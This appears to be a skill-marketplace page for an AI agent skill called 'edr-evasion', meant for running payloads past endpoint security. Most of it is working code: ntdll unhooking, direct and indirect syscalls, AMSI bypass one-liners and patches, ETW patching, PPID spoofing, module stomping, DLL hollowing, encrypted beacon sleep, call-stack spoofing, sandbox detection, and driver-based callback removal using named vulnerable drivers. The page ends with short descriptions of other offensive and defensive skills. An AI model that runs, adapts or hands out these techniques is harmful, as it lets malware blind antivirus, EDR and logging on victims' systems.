Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion
npx skills add https://github.com/hypnguyen1209/offensive-claude --skill edr-evasion
Antivirus (preventive):
EDR (proactive & investigative):
Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl)
↑
EDR hooks here
(userland hooks in ntdll)
EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code.
// Method 1: Map fresh ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Get .text section of loaded ntdll
HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders);
// Overwrite hooked .text with clean copy
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
(LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize);
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, oldProtect, &oldProtect);
// Method 2: Map from KnownDlls (avoids disk read)
HANDLE hSection;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name, 0, NULL, NULL };
NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
PVOID freshNtdll = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &freshNtdll, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY);
Some EDRs use kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) — these cannot be bypassed from userland alone. Requires:
Skip ntdll entirely — call the syscall instruction directly:
; NtAllocateVirtualMemory syscall (Windows 10 21H2)
mov r10, rcx
mov eax, 0x18 ; syscall number (varies by Windows version!)
syscall
ret
Tools: SysWhispers3, HellsGate, HalosGate, TartarusGate
JMP to the syscall; ret instruction inside ntdll (avoids "syscall from non-ntdll" detection):
; Find syscall;ret gadget in ntdll
mov r10, rcx
mov eax, SSN ; System Service Number
jmp [ntdll_syscall_ret_addr] ; JMP to syscall;ret in ntdll
Why indirect: Some EDRs check the return address of syscalls — if it's not within ntdll's address range, it's flagged.
// HellsGate: read SSN from ntdll function prologue
// Clean function: mov r10, rcx; mov eax, SSN; ...
// Hooked function: jmp <hook_addr> (first bytes replaced)
// HalosGate: if hooked, look at neighbor functions (SSN ± 1)
// TartarusGate: walk further neighbors if immediate ones also hooked
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Alternative: patch in memory
$a=[Ref].Assembly.GetType('System.Management.Automation.A]msiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
[IntPtr]$ptr=$b.GetValue($null)
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
// C implementation: patch AmsiScanBuffer
HMODULE amsi = LoadLibraryA("amsi.dll");
LPVOID addr = GetProcAddress(amsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(addr, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
// xor eax, eax; ret (return S_OK with AMSI_RESULT_CLEAN)
memcpy(addr, "\x31\xC0\x05\x4E\xFE\xFF\xFF\xC3", 8);
VirtualProtect(addr, 6, oldProtect, &oldProtect);
// Patch EtwEventWrite to immediately return
// Blinds .NET CLR logging, PowerShell ScriptBlock logging
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
LPVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // ret
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
// Make process appear to be spawned by explorer.exe
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
LPPROC_THREAD_ATTRIBUTE_LIST attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(attrList, 1, 0, &size);
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXA si = { sizeof(si) };
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &si.StartupInfo, &pi);
| Technique | Stealth | Notes |
|-----------|---------|-------|
| CreateRemoteThread | Low | Heavily monitored |
| NtQueueApcThread (Early Bird) | Medium | APC before thread starts |
| NtSetContextThread | Medium | Hijack suspended thread |
| Module Stomping | High | Overwrite legitimate DLL .text |
| Phantom DLL Hollowing | High | Map section, overwrite |
| ThreadlessInject | Very High | No new threads created |
| Process Hollowing | Medium | Unmap + remap |
| Transacted Hollowing | High | NTFS transactions |
1. Find target process with suitable DLL loaded
2. Locate exported function that's rarely called
3. Overwrite function prologue with: push shellcode_addr; ret
4. Wait for natural execution of that function
5. No CreateRemoteThread, no APC — completely threadless
// Encrypt beacon memory during sleep to avoid memory scanners
// Cobalt Strike: set sleep_mask "true" in profile
// Custom implementation:
void SleepEncrypt(DWORD sleepTime) {
// 1. Encrypt all RX sections with XOR/RC4
BYTE key[16]; GenerateRandomKey(key);
EncryptMemory(beaconBase, beaconSize, key);
// 2. Change memory protection to RW (no execute)
VirtualProtect(beaconBase, beaconSize, PAGE_READWRITE, &old);
// 3. Sleep
SleepEx(sleepTime, FALSE);
// 4. Restore RX and decrypt
VirtualProtect(beaconBase, beaconSize, PAGE_EXECUTE_READ, &old);
DecryptMemory(beaconBase, beaconSize, key);
}
// Check indicators before detonation:
// - Domain joined? (GetComputerNameEx)
// - RAM > 4GB? (GlobalMemoryStatusEx)
// - CPU cores > 2? (GetSystemInfo)
// - Disk > 60GB? (GetDiskFreeSpaceEx)
// - User interaction? (GetLastInputInfo — idle time)
// - Known sandbox usernames? (John, sandbox, malware, virus)
// - VM artifacts? (VMware tools, VBox Guest Additions)
// Only execute on intended target — prevents sandbox analysis
// Key to: domain name, username, hostname, MAC address
char computerName[256];
GetComputerNameA(computerName, &size);
BYTE key[32];
SHA256(computerName, strlen(computerName), key);
// Use key to decrypt payload — wrong machine = garbage output
// Use NtCreateTimerQueue + NtSetTimer to encrypt/decrypt beacon memory
// Flow: Set timer → encrypt memory → change to RW → sleep → timer fires →
// change to RX → decrypt memory → resume execution
HANDLE hTimerQueue = NULL;
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);
// Timer callback chain:
// 1. NtContinue → capture context
// 2. VirtualProtect → RW
// 3. SystemFunction032 (RC4 encrypt) → encrypt beacon
// 4. WaitForSingleObject → actual sleep
// 5. SystemFunction032 → decrypt beacon
// 6. VirtualProtect → RX
// 7. NtContinue → resume execution
// Key: all operations happen in timer thread — main thread is suspended
// EDR sees: legitimate timer callbacks, not suspicious API sequences
// Queue APCs to current thread for sleep obfuscation
// Each APC performs one step of the encrypt-sleep-decrypt chain
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_READWRITE);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 encrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)WaitForSingleObject,
hEvent, sleepTime, 0);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 decrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_EXECUTE_READ);
// Trigger APC execution
NtTestAlert();
// Abuse Windows thread pool for sleep obfuscation
// Register work items that handle encrypt/sleep/decrypt
// Thread pool threads are inherently trusted by EDRs
TP_CALLBACK_ENVIRON callbackEnv;
TpInitializeCallbackEnviron(&callbackEnv);
// Create thread pool work items for each step
CreateThreadpoolWork(EncryptCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(SleepCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(DecryptCallback, &ctx, &callbackEnv);
// Submit and wait — execution flows through ntdll thread pool
SubmitThreadpoolWork(encryptWork);
WaitForThreadpoolWorkCallbacks(decryptWork, FALSE);
// Mark all beacon memory as non-executable during sleep
// Use ROP gadget to re-mark as executable and resume
// Key: beacon exists only as RW data while sleeping — invisible to memory scanners
// 1. Build ROP chain on stack:
// VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
// JMP beacon_entry
// 2. Set timer with callback = stack pivot gadget (xchg rsp, rax; ret)
// 3. VirtualProtect beacon to PAGE_READWRITE
// 4. Encrypt beacon memory
// 5. Sleep (WaitForSingleObject)
// 6. Timer fires → stack pivot → ROP chain executes → beacon decrypted and RX
// Problem: EDRs walk the call stack on API calls — suspicious return addresses flagged
// Solution: Desynchronize real return addresses from what stack walking sees
// Technique 1: Frame pointer spoofing
// Overwrite RBP chain to point to legitimate-looking stack frames
// Stack walker follows RBP → sees clean call chain
// Technique 2: Return address overwrite with restore
void SpoofStack(PVOID targetFunc, PVOID fakeRetAddr) {
// Save real return address
PVOID realRet = _ReturnAddress();
// Overwrite return address on stack with legitimate ntdll address
*(PVOID*)(_AddressOfReturnAddress()) = fakeRetAddr;
// Call target function — EDR sees clean return address
targetFunc();
// Restore real return address
*(PVOID*)(_AddressOfReturnAddress()) = realRet;
}
// Technique 3: Synthetic frames
// Build entire fake stack frames before API calls
// Each frame points to a real function in ntdll/kernel32
// Stack looks like: ntdll!RtlUserThreadStart → kernel32!BaseThreadInitThunk → ...
// Replace return addresses on stack before each API call
// Use unwinding metadata (.pdata/.xdata) to build valid frames
// Each fake frame must have:
// 1. Valid return address (within a real module)
// 2. Correct frame pointer alignment
// 3. Matching unwind info for the module
typedef struct _STACK_FRAME {
PVOID ReturnAddress;
PVOID FramePointer;
PVOID ModuleBase;
} STACK_FRAME;
// Pre-compute clean frame sets from known-good modules
// Swap in before syscalls, restore after
// Microsoft-Windows-Threat-Intelligence ETW provider
// Runs at KERNEL level — CANNOT be patched from userland
// Monitors: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory,
// NtMapViewOfSection, NtQueueApcThread, NtSetContextThread
// What it reports to EDR kernel driver:
// - RWX allocations
// - W→X protection changes
// - Cross-process memory writes
// - APC injections
// - Thread context modifications
// Evasion approaches:
// 1. Use functions not monitored (NtCreateSection + NtMapViewOfSection with separate views)
// 2. BYOVD to unregister the ETW TI callback
// 3. Use legitimate code paths (DLL loading, memory-mapped files)
// 4. Avoid monitored API patterns entirely
// EDR kernel drivers register callbacks that fire on:
// PsSetCreateProcessNotifyRoutineEx — process creation
// PsSetCreateThreadNotifyRoutine — thread creation
// PsSetLoadImageNotifyRoutine — DLL/image loading
// ObRegisterCallbacks — handle operations (open process/thread)
// CmRegisterCallback — registry operations
// FltRegisterFilter — filesystem minifilter (file operations)
// Callback removal via BYOVD:
// 1. Load vulnerable signed driver (RTCore64.sys, dbutil_2_3.sys)
// 2. Use driver's read/write primitives to:
// a. Walk PspCreateProcessNotifyRoutine array
// b. Find EDR's callback entry
// c. Zero it out or replace with no-op
// Known BYOVD targets (signed, vulnerable):
// RTCore64.sys — MSI Afterburner (arbitrary R/W)
// dbutil_2_3.sys — Dell BIOS utility (arbitrary R/W)
// gdrv.sys — GIGABYTE driver (arbitrary R/W)
// ene.sys — ENE Technology (arbitrary R/W)
// WinRing0x64.sys — OpenHardwareMonitor (arbitrary R/W)
// EDR filesystem minifilters intercept all file I/O
// They sit at specific altitudes in the filter stack
// Evasion techniques:
// 1. Direct NTFS parsing — bypass filter stack entirely
// Open \\.\PhysicalDrive0, read MFT, parse NTFS structures
// 2. Reparse point abuse — redirect file operations
// 3. Symbolic link manipulation
// 4. Transaction rollback (TxF) — write in transaction, EDR sees, rollback,
// then write again without transaction flag
// Altitude ranges:
// 320000-329999: Anti-Virus filters
// 360000-389999: Activity monitors (most EDRs here)
// Check installed minifilters: fltMC
// Use debug registers (DR0-DR3) instead of inline hooks
// Advantage: no code modification — invisible to integrity checks
// Set hardware breakpoint on target function
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
ctx.Dr0 = (DWORD64)targetFunction; // breakpoint address
ctx.Dr7 = 0x1; // enable DR0, break on execution
SetThreadContext(hThread, &ctx);
// Register VEH to handle the breakpoint
AddVectoredExceptionHandler(1, HookHandler);
LONG CALLBACK HookHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == targetFunction) {
// Redirect execution or modify arguments
pExceptionInfo->ContextRecord->Rip = (DWORD64)hookFunction;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Advantage over inline hooks:
// - No code modification (passes integrity checks)
// - Works on read-only pages
// - Limited to 4 breakpoints (DR0-DR3)
// Overwrite .text section of a loaded legitimate DLL with shellcode
// Process loads real DLL → overwrite its code → execute
// EDR sees: code executing from legitimate module address range
// 1. Load benign DLL (e.g., amsi.dll, xpsservices.dll)
HMODULE hModule = LoadLibraryA("xpsservices.dll");
// 2. Find .text section
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
PIMAGE_SECTION_HEADER text = IMAGE_FIRST_SECTION(nt);
// 3. Make writable, overwrite with shellcode
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hModule + text->VirtualAddress), shellcode, scSize);
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_EXECUTE_READ, &oldProtect);
// 4. Execute — return address appears within legitimate DLL
// Map a DLL as a section, modify it, execute — never touches disk
// Avoids LoadLibrary hooks and file system minifilters
// 1. Create section from DLL on disk (read-only mapping)
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\amsi.dll", ...);
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
// 2. Map writable view (local)
PVOID localView = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
// 3. Overwrite .text with shellcode in local view
memcpy((BYTE*)localView + textRVA, shellcode, scSize);
// 4. Map executable view (separate mapping of same section)
PVOID execView = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
// 5. Execute from execView — appears as amsi.dll in memory
// Abuse Windows Thread Pool for code execution in remote process
// 7 variants targeting different TP structures:
// 1. TP_WORK — worker item insertion
// 2. TP_TIMER — timer callback hijack
// 3. TP_WAIT — wait callback hijack
// 4. TP_IO — I/O completion callback
// 5. TP_ALPC — ALPC callback
// 6. TP_JOB — job notification callback
// 7. TP_DIRECT — direct insertion
// Variant 1: Worker factory injection
// Write shellcode to remote process
// Hijack TP_WORK callback to point to shellcode
// Submit work item → thread pool executes shellcode
// No CreateRemoteThread, no APC — pure thread pool abuse
// Find DLLs with existing RWX sections (no VirtualProtect needed)
// Write shellcode directly into RWX section of target process
// No memory allocation, no protection changes — minimal EDR signals
// Known DLLs with RWX sections:
// msys-2.0.dll (MSYS2/Git for Windows)
// cygwin1.dll (Cygwin)
// Steps:
// 1. Load DLL with RWX section into target process
// 2. Write shellcode into the RWX section
// 3. Create thread at RWX address (or hijack existing)
// Only 2 API calls needed vs 6+ for traditional injection
// Use NtCreateProcessEx with PROCESS_CREATE_FLAGS_FORK
// Forks current process including all memory — snapshot-based injection
// Child process is exact copy, including injected code
// EDR sees: process creation (not injection), child inherits parent's reputation
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
GetCurrentProcess(), // parent = self
PROCESS_CREATE_FLAGS_FORK, NULL, NULL, NULL, 0);
// Child process starts with copy of all memory
// Shellcode already in memory from parent — no cross-process write needed
Expert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews.
This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
Comprehensive Flow Nexus platform management - authentication, sandboxes, app deployment, payments, and challenges
This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis, and malware family identification. Handles static/dynamic analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage, threat hunting, incident response, or security research.
This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. Use PROACTIVELY for mobile security implementations or mobile security code reviews.
Take hypnguyen1209/edr-evasion from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.